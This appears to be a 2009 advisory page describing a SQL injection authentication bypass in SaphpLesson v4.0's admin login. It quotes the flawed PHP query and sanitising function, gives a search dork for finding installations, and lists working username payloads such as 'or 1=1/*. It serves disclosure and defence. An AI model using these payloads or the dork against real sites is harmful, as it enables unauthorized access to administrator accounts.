SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability

2009.08.23
Credit: SwEET-DeViL
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

--SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability- #---------------------------------------------------------------------------------------------------------------- Script : SaphpLesson version : 4.0 Language: PHP Site: http://www.saphplesson.org Download: http://www.saphplesson.org/saphplesson.zip Dork: intext:Powered by SaphpLesson 4.0 Found by: SwEET-DeViL need magic_quotes_gpc = Off #---------------------------------------------------------------------------------------------------------------- )=> admin/login.php ................................................................................................................. if ($_SERVER["REQUEST_METHOD"]=="POST"){ $username = CleanVar($_POST["cp_username"]); <======================================{ $password = md5(CleanVar($_POST["cp_password"])); $IsLogin = $db->get_var("select count(*) from modretor Where ModName='".$username."' and ModPassword='".$password."'"); ................................................................................................................. function of insecure !! )-)=> includes/functions.php --------------------------------------- .[106] function CleanVar($var) .[107] { .[108] (get_magic_quotes_gpc() === 0) ? $var : addslashes($var); .[109] .[110] return htmlspecialchars(trim($var)); .[111] } --------------------------------------- #Exploit: username : 'or 1=1/* OR username : 'or 1=1 or ' OR username : admin ' or ' 1=1-- .... password: SwEET-DeViL ---------------------------------------

Referencje:

http://xforce.iss.net/xforce/xfdb/51983
http://www.securityfocus.com/bid/35795
http://www.milw0rm.com/exploits/9248
http://www.arab4services.net


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top